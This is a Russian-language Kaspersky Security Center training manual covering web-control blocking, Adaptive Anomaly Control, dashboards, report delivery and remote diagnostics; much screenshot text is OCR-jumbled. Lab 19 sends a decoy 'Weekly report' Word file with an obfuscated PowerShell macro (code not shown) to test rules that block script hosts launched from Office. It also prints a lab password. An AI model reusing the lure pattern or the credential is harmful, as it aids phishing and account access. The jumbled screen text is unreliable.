		Select user or group	~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
🔿 Warn		everyone	Q
Filter type			
By content categories		Everyone	
By types of data		Contraction of the second seco	
Types of data			
Addresses			
Apply to all addresses			
Apply to individual addresses and/or groups			
Address			
- Autress			
	No data		
Users			
Users Apply to all users			
Users Apply to all users Apply to individual users and / or groups			
Users Apply to all users Apply to individual users and / or groups Add × Delete			
Users Apply to all users Apply to individual users and / or groups Add × Delete User or group			
Users Apply to all users Apply to individual users and / or groups Add × Delete User or group			

18.	Добавьте настройки расписания. В области <b>Rule</b> <b>Schedule</b> пройдите по ссылке <i>Always</i>	•	Rule         Warn         Filter type         By content categories         By types of data         Content categories         Types of data         Addresses         Apply to all addresses         Apply to individual addresses and/or groups         + Add		
				No data	
			Users Apply to all users Apply to individual users and / or groups		
			+ Add $ imes$ Delete		
			User or group		
			Everyone		
			Rule schedule		
19.	Создайте новое расписание. Нажмите: <b>Add</b>	⊘	Schedules		
			+ Add / Edit × Delete Copy		
			<ul> <li>Always</li> </ul>		
20.	Введите имя правила	Schedules		Schedule editor	×
	Business hours			Name	Business hours
21.	Настройте правило расписания таким образом, чтобы доступ к социальным сетям блокировался с понедельника по	Schedules + Add / Ed • Always	lit 🛪 Delete 🗋 Copy	000102030405060708091011 Mo Tu We Th Fr Sa Su	
	пятницу с 9.00 до 18.00				

- 22. Нажмите **ОК**
- 23. Выберите расписание: **Business** hours

24. Нажмите ОК

0	Schedules
	Schedules
	+ Add 🖉 Edit X Delete 🗋 Copy
	O Always
	Business hours

- 25. Убедитесь, что создано правило блокировки **Cryptocurrencies**
- 26. Нажмите ОК
- 27. Сохраните политику: нажмите **ОК**
- 28. Подождите, пока политика применится

Veb Control					🔒 Enforce
Web Contro This compon	ol ENABLED ient allows you to control access to	web resources depending on their o	ontent and location.		
Veb Control Se	ttings				🔒 Enforce
lule List					
$+$ Add $\times$	Delete 🔥 Move up	Move down	≛ Export		
Rule	name		State	Actions	
Default rule	tocurrencies	Active	Block ~		
Cryp Default rule Allow all exc Deny everyt	tocurrencies	Active	Block v		
Cefault rule Allow all exc Deny everyt Advanced settin Web Sessio Information a Changing the General Setti	tocurrencies cept the rules list thing except the rules list ags an monitor DISABLED about all websites opened in throwses setting a possible if the checkbor ings / Network Settings" section.	Active  Active  rs will be logged and saved in a report right script into web traffic to intera	St. ct with web pages" is checked in t	19	A Enforce
Crype     Crype     Crype     Allow all exc     Deny everyt     dvanced settin     Web Sessio     Information a     Changing the     Cranging the     Cran	tocurrencies tept the rules list thing except the rules list ags an monitor DISABLED bobut all websites opened in browse setting is possible if the checkbox ings / Network Settings' section.	Active rs will be logged and saved in a repo- rect script into web traffic to intera	St. ct with web pages" is checked in t	) 19	A Enforce

# Задание В: Проверьте работоспособность блокировки доступа к биржам криптовалют

В этом задании нужно убедиться, что правило вступило в силу, и категория Криптовалюты и майнинг заблокирована

Задание выполняется на компьютере <b>Tom-Laptop</b> .			
	Tom-Laptop		
<ol> <li>Войдите в систему под учетной записью abc\Tom. Пароль — Ka5per5Ky</li> </ol>	← → @ https://coinmarketc @ Kaspersky Endpoint Securit ×	ap.com/ v 🖨 C Search D v 📅 ★ 🌣 😏	
30. Запустите Internet Explorer			
31. Зайдите на сайт www.coinmarketcap.com		The requested web page cannot be provided.	
<ol> <li>Убедитесь, что правило блокировки доступа к биржам криптовалют работает</li> </ol>		Address: <u>https://coinmarketcap.com/</u> . The web page has been blocked by the Cryptocurrencies rule.	
33. Закройте окно Internet Explorer		Reason: the web resource belongs to the Cryptocurrencies, mining content category(-ies) and the Undetermined data type category (-ies).	
		This web resource is prohibited at the company. If you consider the blocking to be mistaken or if you need to access this web resource, contact the administrator of the local corporate network ( <u>Request</u> <u>access</u> ).	
		Message generated on: 4/6/2021 9:17:51 AM	

### Задание С: Проверьте отчеты Kaspersky Security Center



### Заключение

В этой лабораторной работе был рассмотрен функционал блокирования доступа к веб-ресурсам. Доступ может разрешаться или блокироваться по категориям содержания, типу данных или и так, и так. Блокировка доступа может быть ограничена по времени и распространяться на группы пользователей или на отдельных пользователей. Типичные сценарии использования этого функционала — блокировка доступа к социальным ресурсам, блокировка загрузки исполняемых файлов, или доступа к внешней электронной почте, через которую может проходить как утечка информации, так и загрузка вредоносных объектов.

## Лабораторная работа 19. Как настроить Адаптивный Контроль Аномалий

Сценарий. В Kaspersky Endpoint Security есть компонент, который отслеживает запуски скриптов и макросов и обнаруживает системные аномалии. Вы решили проверить работоспособность данного компонента защиты. Для этого вы используете заранее подготовленный файл Word с макросом, который содержит обфусцированный PowerShell-скрипт.

Содержание. В этой лабораторной работе:

- 1. Настройте блокировку запуска макросов и скриптов в офисных документах
- 2. Проверьте, что Адаптивный Контроль Аномалий блокирует запуск вредоносного макроса

# Задание А: Настройте блокировку запуска макросов и скриптов в офисных документах

Отключите основные компоненты защиты.

По умолчанию компонент защиты Адаптивный Контроль Аномалий работает в режиме статистики и собирает статистику о запусках программ и скриптов. Чтобы проверить срабатывание компонента на вредоносные файлы, его необходимо принудительно перевести в режим блокировки.



 Пройдите по ссылке *Rules*, чтобы настроить правила срабатывания

⊚	Adaptive Anomaly Control	6	m
	Adaptive Anomaly Control	🔒 Enforce	•
	Adaptive Anomaly Control ENABLED     This component detects and blocks abnormal behavior of applications.		
	Reports Report on Adaptive Anomaly Control rules state Report on triggered Adaptive Anomaly Control rules		
	Rules	A Enforce	
	Rules The process is fully automated and does not require manual set up of the applications, however, it is possible to set up the rules that comply with the company's security policy		

- 9. Разверните список правил: Activity of office applications
- 10. Переведите правила в режим блокировки. Измените действие с **Smart** на **Block** для следующих правил:
  - Запуск Microsoft Console Based Script Host из офисной программы
  - Запуск Microsoft Windows Based Script Host из офисной программы
  - Запуск Microsoft Windows Command Processor из офисной программы
  - Запуск Microsoft PowerShell из офисной программы

0	Rules					1
	Rules					
	It is requir	ed to approve updates for the Adaptive Anomaly Control rule list				
	/ Edit	✓ Approve updates ‡ Import ‡ Export				
		Start of Microsoft Register Server from office application	💽 On	Smart ~	No	New
		Start of Microsoft HTML Application Host from office application	On On	Smart 🖌	No	New
		Start of Microsoft Console Based Script Host from office application	💽 On	Block 🗸	No	
		Start of Microsoft Windows Based Script Host from office application	💽 On	Block 🗸	No	
		Start of Microsoft Windows Command Processor from office application	💽 On	Block 🗸	No	
		Start of Microsoft PowerShell from office application	💽 On	Block 🗸	No	
		Start of embedded file from office application	💽 On	Block ~	No	
		Use of Windows Management Instrumentation (WMI)				

- 11. Сохраните политику: нажмите **ОК** и **Save**
- 12. Подтвердите применение данных настроек. Нажмите Yes
- 13. Подождите, пока политика применится



# Задание В: Проверьте, что Адаптивный Контроль Аномалий блокирует запуск вредоносного макроса

Отправьте письмо с вложением, содержащим вредоносный скрипт, и убедитесь, что запуск файла будет заблокирован.

Начните выполнять задание на компьютере Alex-Desktop.				
Alex-Desktop				
14. Запустите Microsoft Outlook	□       □       ↓			
<ul> <li>15. Создайте новое письмо:</li> <li>Укажите адресата. В поле То введите tom@abc.lab</li> <li>В поле Subject введите Weekly report</li> <li>Приложите к письму файл Weekly report (ps).doc, место расположения файла уточните у преподавателя</li> <li>16. Отправьте письмо: нажмите Send</li> </ul>	Calibri (Body) 11   Paste B   I U   I I   I			
<ul> <li>17. Запустите Microsoft Outlook</li> <li>18. Откройте вложение Weekly report (ps).doc</li> </ul>	Imbox - tom@abc.lab - Outlook         FILE       HOME         SEND / RECEIVE       FOLDER         File       HOME         Send/Receive       FOLDER         Send/Receive       Folder         Send/Receive       Folder         Send/Receive       Sendration         Send/Receive       Folder         Send All       Devinload         All Folders       Send All         Send & Receive       Download         Send & Receive       Download         Send & Receive       Download         Send & Receive       Download         Send & Receive       Secret         Deleted Items       Secret         All Unread       By Date *         Newest #       Intoox 1         Inbox 1       A Today         All Current Mailbox       Current Mailbox         All Unread       By Date *         Weekly Report       11:00         All tast Week       Impox         Beport       Weekly report in         All com       Impox         Beleted Items       Alex         Junk E-mail       Alex         Beleted Items       Alex         Dut			

- 📓 🗄 🐬 🖑 🕫 Weekly Report (ps).doc [Read-Only] [Compatibility Mode] - Word ? 🗹 19. В окне Microsoft Word FILE HOME INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW нажмите Enable content ▼ 11 ▼ A\* A\* Aa ▼ 🖗 🗄 ▼ 🗄 ▼ 🛱 ♥ 🖾 ♥ 🖾 ■ AaBbCcDc AbbCcDc M Find -Calibri Ē ab Gac Replace B I U → alex X<sub>2</sub> X<sup>2</sup> A → V → A → E = = = ↓ → A → H → INormal INo Spac... Heading 1 = Paste - 5" Select -Clipboard 🕞 Font Б Paragraph Styles Editing 5 Enable Content I SECURITY WARNING Macros have been disabled. Coffice 365 To view or edit this document, please click "Enable editing" button on the top yellow bar, and then click "Enable content" 20. Убедитесь, что появилось Kaspersky Endpoint Security  $\sim$ × сообщение о запрете Adaptive Anomaly Control запуска PowerShell.exe Process action blocked 21. Нажмите ОК Information about the suspicious action: 22. Убедитесь, что действие Computer: TOM-LAPTOP заблокировано Kaspersky User: ABC\Tom **Endpoint Security** Rule that prohibits the suspicious action: Start of Microsoft PowerShell from office application Date and time of the suspicious action: 06-Apr-21 11:01:44 Details Request access
- 23. Откройте отчет программы
- 24. Выберите Adaptive Anomaly Control
- 25. Найдите событие о блокировке действия
- 26. Закройте окно Microsoft Word



# Лабораторная работа 20. **Как настроить дэшборд**

Сценарий. Каждый день вы заходите в консоль Kaspersky Security Center, чтобы понять, работает ли защита, и нет ли угроз, с которыми нужно разобраться. Чтобы тратить меньше времени, создайте дэшборд и наполните его панелями, которые дадут ответы на все вопросы на одном экране.

Содержание. В этой лабораторной работе создайте и настройте дэшборд для ежедневного мониторинга.

### Задание А: Добавьте новые виджеты в дэшборд



4. Чтобы добавить m 🕰 MONITORING & REPORTING / DASHBOARD новый виджет, New devices ☺ Threat activity 111 нажмите Add or 2.0 1.5 1.0 0.5 15 10 KASPERSKY SECURITY CENTER restore web widget 5 03/07/2021 03/27/2021 03/2 03/17/2021 04/08/202 04/08/ 03/17/2021 📮 КSC ▲ MONITORING & REPORTING ↓ Most frequent threats Most heavily infected devices ~ <u></u> 63 1. HEUR:Trojan-Dropper.MSOffice.... 0 14 1. TOM-LAPTOP <u>27</u> 0 2. EICAR-Test-File 4 Last updated: 04/06/2021 2:25:25 pm 3. UDS:DangerousObject.Multi.Gene... 0 3 4. HEUR:Trojan-Downloader.Script... 2 5. HEUR:Trojan.Multi.Crypren.gen 0 2 DEVICES Detection of threats by application components 오 USERS & ROLES <u>Unknown</u> File Threat Protection 13 +Mail Threat Protection 4 Add or restore web widget Web Threat Protection 6 0 DISCOVERY & DEPLOYMENT IM Anti-Virus Last updated: 04/06 5. Разверните секцию MONITORING & REPORTING / DASHBOARD Add or restore web widget Update и выберите Threat activit New devices 111 Distribution of anti-Expand all KASPERSKY SECURITY CENTER virus databases > Protection status > Deployment 6. Нажмите Add  $\vee$  Update ~ A MONITORING & REPORTING Most heavily HEUR:Trojan-Dropper.MSOffice
 EICAR-Test-File Statistics of check for Windows Update updates Distribution of anti-virus databases > Updates for applications > Threat statistics > Other Detection of threats by application components © 2021 AO Kaspersky Lab | <u>Privacy Policy</u> Version: 13.0.10253 <u>Show Tutorial</u> © Add Cancel

- Новый виджет был добавлен в список
- 8. Нажмите Add or restore web widget



- Разверните секцию Statistics of threats и выберите History of network attacks
- 10. Нажмите Add

- 11. Чтобы отредактировать отображение виджета, нажмите по иконке управления виджетом
- 12. Выберите Chart type: Lines

 Отображение виджета было изменено


### Задание В: Удалите и переместите виджет

Удалите и поменяйте порядок отображения виджетов в панели мониторинга



- 17. В виджете Most frequent threats нажмите иконку шестеренки и выберите Move
- Кликните по виджету Threat activity, на место которого вы хотите переместить текущий виджет
- 19. Виджет **Most frequent** threats был перемещен



#### Заключение

Вы добавили необходимые вам виджеты в панель мониторинга, которая показывает всё самое главное о защите сети.

# Лабораторная работа 21. Как настроить инструменты для обслуживания

Сценарий. Чтобы быстрее находить нужную информацию и реагировать на угрозы, удалите отчеты, которые не используете, подготовьте задачу поиска вирусов, которую можно будет запускать через контекстное меню компьютеров, и настройте каждую неделю получать отчеты о том, что произошло за неделю.

Содержание. В этой лабораторной работе:

- 1. Удалите отчеты, которые не используете
- 2. Создайте отчет о зараженных компьютерах за прошедшую неделю
- 3. Настройте получать по почте самые важные отчеты

### Задание А: Удалите отчеты, которые не используете

Удалите все отчеты, кроме:

- Kaspersky Lab software version report
- Threats report
- Report on blocked runs
- Most infected computers report
- Report on users of infected devices

Q Search

Created

×

Cancel

report lists all in.

report provides.

report provides.

report displays

Description

≏ 7 …

Mo >>

- Web control report
- Protection deployment report
- Network attack report
- Protection status report
- Report on file operations on removable drives
- Key usage report
- Anti-virus database usage report



MONITORING & REPORTING / REPORTS

+ Add 🕞 Open report template properties 📄 New report delivery task 📄 Export report

Scope

Are you sure you want to delete the following report templates: Report

on errors? You can further use these templates in automatic report

delivery tasks. Once the report templates are deleted, they will be

excluded from the task settings. Do you want to continue?

Туре

Delete

Report c

Report c

Report c

Report of

Updatin

- 1. Откройте веб-консоль Kaspersky Security Center
- Перейдите на страницу Monitoring & Reporting | Reports 2.

111

KASPERSKY

SECURITY CENTER

REPORTS

DEVICES

EVENT SELECTIONS

KASPERSKY ANNOUNCEMENTS.

m 4

Name

Protection status

3.	Выберите	=
-	отчет <b>Report</b>	
	on errors	

```
Нажмите 🛄
4.
```

5. Нажмите	⊑ KSC 🖌 >	Report on errors	Report on errors	Protection status Th	is report describe >> 03/26/202	21 12:02:15 pm 03/2 >>
Delete	▲ MONITORING & REPORTING ↓	Report on protectio	n status Report on protectio >	>> Protection status Th	is report provides >> 03/26/202	21 12:02:15 pm 03/2 >>
	 DASHBOARD	Deployment				
	REPORTS	Report on Kaspersky	<u>y software v</u> >> Report on Kaspersk >	>> Deployment Th	is report lists the >> 03/26/202	21 12:02:15 pm 03/2 >>
		Report on incompa	tible applications Report on incompat >	>> Deployment Th	is report lists all in >> 03/26/202	21 12:02:15 pm 03/2 >>
что хотите удалить отчет. Нажмите <b>ОК</b>	KASPERSKY SECURITY CENTER	+ Add	Open report template propare	perties   🕞 New report de	livery task ) [ ⊃ Export rep	ort Q Description
	⊟ кsc	۶ ۲ №	port on errors	Report on errors	Protection status	This report describe
	▲ MONITORING & REPORTING	G ↓	port on protection status	Report on protectio >>	Protection status	This report provides
	DASHBOARD	De	eployment			
	6,10,10,0,110		nort on Kaspersky software v >>	Papart on Vacporsk	Doployment	This report lists the

- 7. Удалите следующие отчеты аналогичным образом:
  - Hardware report
  - Report on incompatible applications
  - Report on file encryption errors
  - Report on blockage of access to encrypted files
  - Report on device users
  - Report on effective user permissions
  - Report on encryption status of mass storage devices
  - Report on hardware registry
  - Kaspersky Lab software version report
  - Report on key usage by virtual Administration Server
  - Report on rights
  - Report on rights about access to encrypted devices
  - Report on test blocked runs
  - Software updates report
  - Vulnerabilities report
  - Report on attacked controllers
  - Report on check of programmable logic controllers (PLCs) for integrity
  - Report on results of update installation of third-party software

≡	m 4	M	ONITORING & REPORTING	G / REPORTS					
11i		+	Add >> Open report template prop	erties 🕞 New report del	ivery task ▷ Export repo	rt Q sea	rch.dotted	s 7	7
KASPERSKY SECURITY CENTE	R		Name	Туре	Scope	Description	Created	Mc	) >>
			Protection status						
📃 КSC	< ۶		Report on protection status	Report on protectio >>	Protection status	This report provides >>	03/26/2021 12:02:15 pm	n 03/	2 >>
MONITORING & REPORT	ING 🗸		protected status report	Report on protectio >>	Protection status	This report provides >>	04/23/2021 5:43:20 pm	04/	2 >>
			Deployment						
REPORTS			Key usage report	Report on usage of I >>	Deployment	This report displays >>	04/23/2021 5:52:31 pm	04/	2 >>
EVENT SELECTIONS			Protection deployment report	Report on protectio >>	Deployment	This report provides >>	04/23/2021 5:41:51 pm	04/	2 >>
NOTIFICATIONS			Updating						
KASPERSKY ANNOLINCEN	<b>MENTS</b>		Anti-virus database usage report	Report on usage of >>	Updating	This report provides >>	04/23/2021 5:29:44 pm	04/	2 >>
			Kaspersky Lab Software version >>	Report on versions >>	Updating	Report on versions >>	04/23/2021 5:32:47 pm	04/	2 >>
E DEVICES	>		Threat statistics						
▲ USERS & ROLES	>		Monthly report on most heavily >>	Report on most hea >>	Threat statistics	This report lists Top >>	04/06/2021 12:36:16 pm	n 04/	0 >>
	>		Network attack report	Report on network >>	Threat statistics	This report provides >>	04/23/2021 5:42:15 pm	04/	2 >>
G DISCOVERY & DEPLOYME	NT >		Report on users infected devices	Report on users of i >>	Threat statistics	This report lists the >>	04/23/2021 5:38:59 pm	04/	2 >>
			Threats report	Report on threats	Threat statistics	This report provides >>	04/23/2021 5:33:17 pm	04/	2 >>
			<u>Weekly report on most heavily i</u> >>	Report on most hea >>	Threat statistics	This report lists Top >>	04/06/2021 12:39:51 pm	n 04/	/0 >>
			Other						
CONSOLE SETTINGS	>		Report on file operations on re >>	Report on file opera >>	Other	This report provides >>	03/26/2021 12:02:16 pm	n <mark>0</mark> 3/	2 >>
			Report on threat detection distr >>	Report on threat det >>	Other	This report provides >>	03/26/2021 12:02:16 pm	n 03/	2 >>
@ KSC\ADMINISTRATOR	>		Report on vulnerabilities	Report on vulnerabilities	Other	This report lists soft >>	03/26/2021 12:02:15 pm	n 03/	(2 >>

### Задание В: Создайте отчет о зараженных компьютерах за неделю

Переименуйте отчет о зараженных компьютерах в Ежемесячный отчет о наиболее заражаемых устройствах; затем создайте еженедельный отчет.

Зад	ание выполняется н	на компьютере <b>КSC</b> .					
8.	Откройте окно	Editing report "Report on most h	eavily infected devices"				
	on most heavily	GENERAL FIELDS ACCESS F	RIGHTS				
0	infected devices	Name	Monthly report on most heavily infected devices				
9.	измените имя отчета <b>Monthly</b>	Template	Report on most heavily infected devices				
	report on most	Description	This report lists Top 10 most heavily infected devices.				
	heavily infected	Created	04/06/2021 12:36:16 pm				
	devices и	Last modified	04/06/2021 12:36:16 pm				
	нажмите Save	Maximum number of entries	to display				
10.	Закройте окно	1000					
	отчета	Group					
		Time interval	Settings				
		Include data from secondar	v and virtual Administration Servers				
		Up to nesting level	1				
		Data wait interval (min)	5				
		Cache data from secondary	Administration Servers				
		Transfer detailed information	from secondary Administration Servers				
11.	Создайте новый отчет: нажмите	≡ m 4	MONITORING & REPORTING / REPORTS				
	кнопку Add		+ Add > Open report template properties > New report delivery task > Export report Q Sear				
		KASPERSKY SECURITY CENTER	Name Type Scope Description				
			Protection status				
		🗉 КSC 🖌	Report on protection status Report on protectio >> Protection status This report provides >>				
		MONITORING & REPORTING	Threat statistics				
		DASHBOARD	Monthly report on most heavily >> Report on most hea >> Threat statistics This report lists Top >>				
			Other				
		REPORTS	Report on file operations on re >> Report on file opera >> Other This report provides >>				

- 12. Назовите отчет Еженедельный отчет о наиболее заражаемых устройствах
- 13. Разверните список Threat statistics и выберите Report on most heavily infected devices
- 14. Нажмите Next
- 15. Выберите Administration group и укажите Managed devices
- 16. Нажмите Next
- Установите период 7 дней и нажмите **ОК**

18. В появившемся окне выберите **Save** 



### Задание С: Настройте получать по почте самые важные отчеты

Настройте каждую неделю по понедельникам в 10 утра получать по почте отчеты:

- Protection status report
- Anti-virus database usage report
- Weekly report on most heavily infected devices
- Network attack report

Задание выполняется на компьютере **KSC**.



Add Task Wizard

- 19. Откройте вебконсоль Kaspersky Security Center
- 20. В боковом меню выберите **Devices** | Tasks
- 21. Создайте задачу рассылки отчетов. Нажмите **Add**
- 22. В списке приложений выберите Kaspersky Security Center 13
- 23. Выберите тип задачи Deliver reports
- 24. Назовите задачу Deliver reports
- 25. Нажмите Next
- 26. Отметьте следующие отчеты:
  - Weekly report on most heavily infected devices
  - Network attack report
  - Anti-virus database usage report

		ĸ	(SC						
≡	田 4	DE	VICES / TASKS	5					
		Cur	rrent path: KSC						
	KASPERSKY	+ /	Add 🕞 Start 🛛 🛛	Pause 🛛 😰 Resume	□ Stop	× Delete	🖪 Сору	Q 9	Search
	SECURITY CENTER		Task name			Application		Task type	
	KSC ۶		Kaspersky Endpoint S	ecurity for Windows (11	L.6.0)				
			Install updates			Kaspersky Endpoint Secu	rity for >>	Update	
	MONITORING & REPORTING >		Kaspersky Security Ce	nter 13 Administration	Server				
t	DEVICES ~		Administration Server	maintenance		Kaspersky Security Cente	r 13 Ad >>	Administrati	on Server maintenance
	POLICIES & PROFILES		Download updates to	the Administration Serv	er repository	Kaspersky Security Cente	r 13 Ad >>	Download u	pdates to the Admin >
	TASKS		Backup of Administrati	ion Server data		Kaspersky Security Cente	r 13 Ad >>	Backup of A	dministration Server data

New task	
Application	
Kaspersky Security Center 13	~
Task type	
Deliver reports	~
Task name	
Deliver reports	

0	Add Task Wizard	
	Select template f	or report
		Name
		Report on protection status
		Report on vulnerabilities
		Report on file operations on removable drives
		Report on threat detection distributed by component and detection technology
		Monthly report on most heavily infected devices
		Weekly report on most heavily infected devices
		Network attack report
		protected status report
	•	Anti-virus database usage report

- 27. Укажите способ отправки отчетов – Send reports by email
- 28. Нажмите Settings

Add Task Wiza	ard		
	Name		
	Anti-virus database usage report		
	Threats report		
	Report on users infected devices		
	web control report		
	Key usage report		
	Kaspersky Lab Software version report		
	Protection deployment report		
ormat			
HTML page (	.html)	~	
Action to ap	ply to reports		
Send report	orts by email		
Email notificat	tion settings		Settings
dal Taala Winnad			
dd Task Wizard		Email address	
	Name	administrator@abc.lab	

30. Нажмите **ОК** 

29. В поле адреса

получателя введите: administrator@abc.lab

Add Task Wiza	ard	Email address
	Name	administrator@abc.lab
C	Anti-virus database usage report	Subject Kasparsky Sociality Conter 12 Administration Social Page
•	Threats report	Raspersky security Center 12 Administration server report
•	Report on users infected devices	Email settings
•	web control report	<ul> <li>Use Administration Server settings (Notification section under Reports and notifications folder properties)</li> </ul>
•	Key usage report	Configure independently     SMTP server address
•	Kaspersky Lab Software version report	
•	Protection deployment report	SMTP server port
Format		Use ESMTP authentication

31. Нажмите Next

	Name						
C	Anti-virus database usage report						
•	Threats report						
•	Report on users infected devices						
	web control report						
	Key usage report						
	Kaspersky Lab Software version report						
	Protection deployment report						
Format							
HTML page (.htm	nl) ~						
Action to apply	to reports						
Send reports	by email						
Email notification settings							
Save reports	to folder						
Please select an action type.							
<ul> <li>Overwrite</li> <li>Specify act</li> </ul>	Overwrite older reports of the same type     Specify account for access to shared folder						
Back	Back Next						

~~	I I and a second black	Ada	Task Wizard		
32.	Нажмите <b>Next</b>				
		Sel	ecting an account to run the task	ζ.	
		•	Default account		
			specify account		
33	Отключите опцию:	O Ade	d Task Wizard		
00.	Open task details				
	when creation is				
	complete	Fir	hish task creation		
34.	Нажмите <b>Finish</b>		ck Finish to complete the creation process f Open task details when creation is comple	for "Deliver reports" and close the Wizard. ste	
35	Перейлите по ссылке	≡ m 4	DEVICES / TASKS		
55.	Deliver reports		LAdd N Start 88 Pause IIN Pasume	D Stop y Dalate C Pafrach list D Conv O Saarch	
		<b>FLT</b>	Kaspersky Endpoint Security for Windows (1		
		KASPERSKY SECURITY CENTER	Install updates	Kaspersky Endpoint Security for >> Update	
			<u>Virus Scan</u>	Kaspersky Endpoint Security for >> Virus Scan	
		🗉 KSC 🕨 🕨	Kaspersky Security Center 13 Administration	n Server	
		▲ MONITORING & REPORTING →	Administration Server maintenance	Kaspersky Security Center 13 Ad >> Administration Server maintenar	nce
			Download updates to the Administration Sen	ver repository Kaspersky Security Center 13 Ad >> Download updates to the Admir	l >:
		POLICIES & PROFILES	Backup of Administration Server data	Kaspersky Security Center 13 Ad >> Backup of Administration Server	data
		TASKS	<u>Remote installation task</u>	Kaspersky Security Center 13 Ad >> Install application remotely	
		MANAGED DEVICES	Deliver reports	Kaspersky Security Center 13 Ad >> Deliver reports	
~~		Deliver reports			
36.	Переидите на вклалки <b>Schedule</b>	U Deliver reports			
	BRIADRy Schedule	GENERAL RESULTS	SETTINGS APPLICATION SETTIN	IGS SCHEDULE REVISION HISTORY ACCESS RIGH	ΤS
37.	Установите интервал				
	рассылки <b>weeкiy</b>	Run task by schedu	ule		
38.	Выберите день	Scheduled start:			
	Monday и время 9:00	Weekly		~	
	и нажмите Save				
		Day of week	Monday	~	
		Time	09:00		
		Additional task set	tings		
		Run missed tasks			
		Use automatically ra	ndomized delay for task starts		
		Use randomized	delay for task starts within an interva	il of (min):	
		1			
		Activate the device b	pefore the task is started through Wal	ke-on-LAN (min):	
		F			
		5			
		Turn off device after	task completion		
		Stop task if it has bee	en running longer than (min):		
		120			
	l				

#### Заключение

Вы удалили отчеты, которые не используете, и теперь сможете быстрее находить нужные отчеты.

# Лабораторная работа 22. **Как собрать диагностическую информацию**

**Сценарий**. На одном из компьютеров не запускаются компоненты Kaspersky Endpoint Security, и вы не смогли разобраться, в чем проблема, и решить ее. Соберите журналы трассировки Kaspersky Endpoint Security, чтобы обратиться в техническую поддержку. Сделайте это удаленно из Консоли администрирования.

Содержание. В этой лабораторной работе удаленно соберите с компьютера журналы трассировки.

Найдите компьютер **Alex-Desktop** в консоли и запустите через контекстное меню утилиту удаленной диагностики. В окне утилиты включите журналы трассировки для Kaspersky Endpoint Security, перезагрузите Kaspersky Endpoint Security и загрузите журналы. Дополнительно загрузите информацию о компьютере и журналы Windows: Kaspersky Event Log и System.



- Запустите ММСконсоль администрирования
- 3. Перейдите в узел Managed Devices
- Найдите компьютер Alex-Desktop: запустите утилиту поиска из контекстного меню узла Managed Devices

K Kuspersky security	Center 15							-	- ^
File Action View	Help								
Þ 🔿 🛛 📶 🖻	I 🖸 🖸 📝 📷								
Kaspersky Security Center 13     Administration Server KSC     Managed devices     Administration			on Server	<u>KSC</u> > Manage	d devic	es			
> 🖵 Ser	Move unassigned devic	es to group							
<u>&gt;</u> 및 ₩o	Install application								
> [] Mobile	Search		Policies	Tasks				Group p	properties
Device	Reset Virus Counter								
Policie	View report on threats		Import	t policy from file	Add/Remove columns				<u>Refresh</u>
Tasks	New	>			]				8== 💌
Advan	All Tasks	>							0
	View	>		^	Status	Application	Kaspersky Endpoint Security		× ^
	Refresh		point Security for Windows (11		Active	Kaspersley End	Windows (11.6.0)		
	Properties		rity Contor	Network Agent	Active	Raspersky End	Application:	Kaspersky Endpoint	
	Topenes		rity Center Network Agent —		Active	Kaspersky Secu	Security for W		
	Help	Unknown		C IS NELVOIR AM	Active Raspersky Sect		Created:	(11.0.0) 20-Mar-21 17:41:20	
Default prote			ection for Ka	aspersky Security	Active	Unknown	Changed: Inherited policy:	06-Apr-21 13:01:17 Not inherited	

#### Введите имя компьютера *Alex-Desktop* и нажмите Find Now

Search													×
🖵 Find devices	~										F	ind now	
Network Tags Active Directory Network activ	ity Application	Operating sys	tem Dev	vice status	Protect	tion compor	nents Aj	pplications	registry \	Virtual machines	Hardware	Vulnerabi	4
Device name or IP address:	alex-desktop				]								
Windows domain:					]								
Administration group:					]								
Description:													
☐ IP range: 0 . 0 . 0 . 0 to	0.0.	D. O											
Managed by a different Administration Server:				~									
Found: 1											Export to	file	
Name	Operating syst	Wind 1	letw I	Netw F	Real	Last	Prote	Status	Status de	escription			In
ALEX-DESKTOP	🐉 Microsoft	ABC 💊	Yes 🗸	🖊 Yes 🧹	Yes	12 m	14 m	🗸 o	Last conn	nected to Adminis	tration Serv	er 12 mi	12

- Убедитесь, что компьютер Alex-Desktop появился в результатах поиска
- 7. Запустите утилиту удаленной диагностики: вызовите контекстное меню компьютера и выберите Custom tools | Remote diagnostics
- 8. Проверьте, что в поле **Device** написано имя компьютера **Alex-Desktop**
- Подключите утилиту к компьютеру: нажмите Sign in

Search													?	×
Find devices		~	l –									-	=ind now	
Network Tags Active Directory	Network activity	Application	Operating	system	Device statu	is Protec	tion compo	nents Ap	oplications	registry Virt	ual machines	Hardware	Vulnerabi	4 1
Device name or IP address:		alex-desktop	•											
Windows domain:														
Administration group:														
Description:	Go to device													
IP range:	Events													
0.0.0.0	Install Applicati	on		1										
Check device acce Managed by a different Admir Move to Group Connect to device Custom tools		cessibility												
		ice	>			~								
			>	Co	onfigure cus	tom tools								
Grant access in offline mode All tasks > Found: 1			<u>ا</u>	Co	omputer Ma	nagemen	t							
			Remote Desktop					Export to	file					
Namo	Delete			Note	Note	Bool	Last	Droto	Status	Status doss	ription			Infi
ALEX-DESKTOP	Properties			Vetw.	s 🗸 Yes	V Yes	16 m	18 m	✓ 0	Last connec	ted to Adminis	tration Serve	er 16 mi	16

Kaspersky Security Center 13 F	Remote Diagnostics Utility			
File Edit View Help				
*   •   • • • •   • ×	2 Contraction of the second seco			
Access using Administration Server				~
Administration Server	localhost			]
Use SSL 🗹 Comp	ress traffic			
Device belongs to secondary A	dministration Server			
Secondary Administration Server		Brow	se	
Device	ALEX-DESKTOP	Brow	se	
	Connect as current user		~	
			Sign in	

- 10. Включите трассировку: выберите в списке Kaspersky Endpoint Security for Windows
- 11. Нажмите ссылку Enable tracing

Kaspersky Security Center 13 Remote Diagnostics U	lity		
File Edit View Help			
*   🗙   🖻 🗹   🖻 🗶   🕏			
Download         Stop application         Restant application         Enable tracing         Modify tracing level         Change Xperf tracing level	verts lorer Endpoint Security Endpoint Security Endpoint Security err owerShell ion loga tel loga unty Center Network Agent 0.0.11247 status: Running us: Stopped report: Net found resky Security Center Network Agent 0.0.11247 us: Stopped solid Security for Windows 6.0.394 status: Stopped g status: Stopped		×
Download folder			
Refreshing Operation completed successfully			
	00:00:	00.338	
	Select tracing level		×

- 12. Оставьте **Tracing** Level 500
- 13. Выберите параметр **Rotation-based** tracing
- 14. Установите параметр Files count равный 2
- 15. Выберите Махітит file size - 20 MB
- 16. Нажмите **ОК**



Лабораторная работа 22.

